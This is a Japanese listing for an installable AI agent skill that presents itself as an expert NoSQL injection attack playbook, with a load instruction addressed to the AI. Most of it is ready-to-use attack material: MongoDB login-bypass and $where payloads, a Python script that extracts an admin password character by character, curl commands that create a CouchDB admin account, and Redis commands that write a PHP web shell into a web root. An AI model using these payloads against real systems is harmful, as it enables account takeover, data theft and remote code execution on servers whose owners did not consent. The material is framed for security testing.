nosql-injection について
MongoDB、CouchDB、Redis における NoSQL インジェクションを解説するセキュリティテスト用スキルです。演算子注入、認証回避、ブラインド抽出、データベース固有の攻撃面を調べます。
主な機能
- 01MongoDB の演算子注入
- 02ログイン回避とブラインド抽出
- 03集約パイプラインへの注入
- 04CouchDB 管理 API の確認
- 05Redis の公開状態と注入の確認
活用シーン
- 01ログイン API が演算子オブジェクトを受け入れるか検証
- 02正規表現への応答差からフィールド値を列挙
- 03集約パイプラインに渡るユーザー入力を確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill nosql-injectionインストール後、Claude Code で/nosql-injectionを入力して読み込まれたか確認します。
詳細
スキル:NoSQL インジェクション — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: NoSQL インジェクションは、SQL インジェクションとは根本的に異なります。MongoDB の演算子インジェクション、認証バイパス、ブラインド抽出、集約パイプラインインジェクション、Redis/CouchDB 固有の攻撃を扱います。SQLi のパターンしか知らないテスターが見落とすことが非常によくあります。
1. 基本概念 — 演算子インジェクション
SQL インジェクションは文字列リテラルから抜け出します。
NoSQL インジェクションは、クエリのロジックを変更するクエリ演算子を注入します。
MongoDB の例 — 通常のクエリ:
db.users.find({username: "alice", password: "secret"})
JSON 演算子によるインジェクション:
{
"username": "admin",
"password": {"$gt": ""}
}
→ 次のようになります:find({username:"admin", password:{$gt:""}}) → password > "" → 常に true になります!
2. MONGODB — ログインバイパス
JSON ボディインジェクション(JSON Content-Type の API)
POST /api/login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}
PHP $_POST 配列インジェクション(URL エンコードされたフォーム)
username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*
Ruby/Python params 配列インジェクション
PHP と同様に、ブラケット記法を使ってオブジェクトを注入します:
?username[%24ne]=invalid&password[%24ne]=invalid
%24 = URL エンコードされた $
3. インジェクションに使う MONGODB 演算子
| 演算子 | 意味 | 使用例 |
|---|---|---|
$ne | 等しくない | {"password": {"$ne": "x"}} → 常に一致します |
$gt | より大きい | {"password": {"$gt": ""}} → 空でないすべてのパスワードに一致します |
$gte | 以上 | $gt と同様です |
$lt | より小さい | {"password": {"$lt": "~"}} → すべての ASCII 文字に一致します |
$regex | 正規表現による一致 | {"username": {"$regex": "adm.*"}} |
$where | JS 式 | 最も危険 — コード実行 |
$exists | フィールドが存在する | {"admin": {"$exists": true}} |
$in | 配列内にある | {"username": {"$in": ["admin","user"]}} |
4. $REGEX によるブラインドデータ抽出
SQLi での二分探索と同様に、$regex を使ってフィールド値を1文字ずつ抽出します:
// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}
// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}
// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}
レスポンスの違い:ログイン成功とログイン失敗の違いが、真偽値を判定するオラクルになります。
NoSQLMap、または文字セットに対する二分探索を行うカスタムスクリプトで自動化します。
5. MONGODB $WHERE インジェクション(JS 実行)
$where は MongoDB のコンテキスト内で JavaScript を評価します。
現在のドキュメントのフィールドのみ使用できます — システムにはアクセスできません。ただし、ロジックの悪用は可能です:
{"$where": "this.username == 'admin' && this.password.length > 0"}
// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}
制限:$where では OS コマンドを実行できません — サーバーサイド JS インジェクションです(コマンドインジェクションとは異なります)。
6. 集約パイプラインインジェクション
ユーザー制御データが $match または $group ステージに入る場合:
// Vulnerable code:
db.collection.aggregate([
{$match: {category: userInput}}, // userInput = {"$ne": null}
...
])
バイパスするために演算子を注入します:
// Input as object:
{"$ne": null} → matches all categories
{"$regex": ".*"} → matches all
7. NOSQL に対する HTTP パラメータ汚染
一部のフレームワーク(Express.js、PHP)は、繰り返し指定されたパラメータを配列として解析します:
?filter=value1&filter=value2 → filter = ["value1", "value2"]
Node.js では qs ライブラリの解析動作を利用します:
?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection
8. COUCHDB 攻撃
HTTP 管理 API(公開されている場合)
# List databases:
curl http://target.com:5984/_all_dbs
# Read all documents in a DB:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true
# Create admin account (if anonymous access allowed):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'
9. REDIS インジェクション
Redis が認証なしで公開されている(6379)場合、Redis クエリで使われる入力を介してコマンドインジェクションが可能です:
# Via SSRF or direct injection:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE
認証バイパス(単純なパスワードを使用する、古い Redis の requirepass):
AUTH password
AUTH 123456
AUTH redis
AUTH admin
10. 検出用ペイロード
NoSQL バックエンドで処理される任意の入力に、以下を送信します:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=
JSON 形式のテスト(エンドポイントがフォームベースの場合は、Content-Type を application/json に変更します):
{"username": "admin", "password": {"$ne": ""}}
11. NOSQL と SQL の主な違い
| 項目 | SQLi | NoSQLi |
|---|---|---|
| 言語 | SQL 構文 | クエリ演算子オブジェクト |
| インジェクションベクター | 文字列連結 | オブジェクト/演算子インジェクション |
| よくある兆候 | 引用符によるレスポンスの破損 | {$ne:x} によるレスポンスの変化 |
| 抽出方法 | UNION/エラーベース | $regex による文字単位のオラクル |
| 認証バイパス | ' OR 1=1-- | {"password":{"$ne":""}} |
| OS コマンド | xp_cmdshell(MSSQL) | まれ($where と CVE が必要) |
| 識別方法 | DB 固有のエラーメッセージ | 「$ を使用できない」というエラー |
12. テストチェックリスト
□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")
13. ブラインド NoSQL 抽出の自動化
$regex による1文字ずつの抽出(Python テンプレート)
import requests
import string
url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""
while True:
found = False
for c in charset:
payload = {
"username": "admin",
"password[$regex]": f"^{password}{c}.*"
}
r = requests.post(url, json=payload)
if "success" in r.text or r.status_code == 302:
password += c
found = True
print(f"Found: {password}")
break
if not found:
break
print(f"Final password: {password}")
URL エンコードされた GET パラメータでの $regex
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# Iterate through charset until login succeeds
重複キーによるバイパス
// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100
14. 集約パイプラインインジェクション
ユーザー入力が MongoDB の集約パイプラインのステージに到達する場合:
// If user controls $match stage:
db.collection.aggregate([
{ $match: { user: INPUT } } // INPUT from user
])
// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents
// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{ $lookup: {
from: "admin_users", // attacker-chosen collection
localField: "user_id",
foreignField: "_id",
as: "leaked"
}}
// $out to write results to new collection:
{ $out: "public_collection" } // Write query results to accessible collection
$where による JavaScript の実行
// $where allows arbitrary JavaScript (DANGEROUS):
db.users.find({ $where: "this.username == 'admin'" })
// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='
参考資料:Soroush Dalili —「MongoDB NoSQL Injection with Aggregation Pipelines」(2024)
注記: $where はサーバー上で JavaScript を実行します。ロジックの悪用やタイミングオラクルに加え、厳格な V8 サンドボックスがない古い MongoDB ビルドでは、歴史的に RCE の懸念もありました。$where が使われている箇所はすべて、高リスクとして扱うことを推奨します。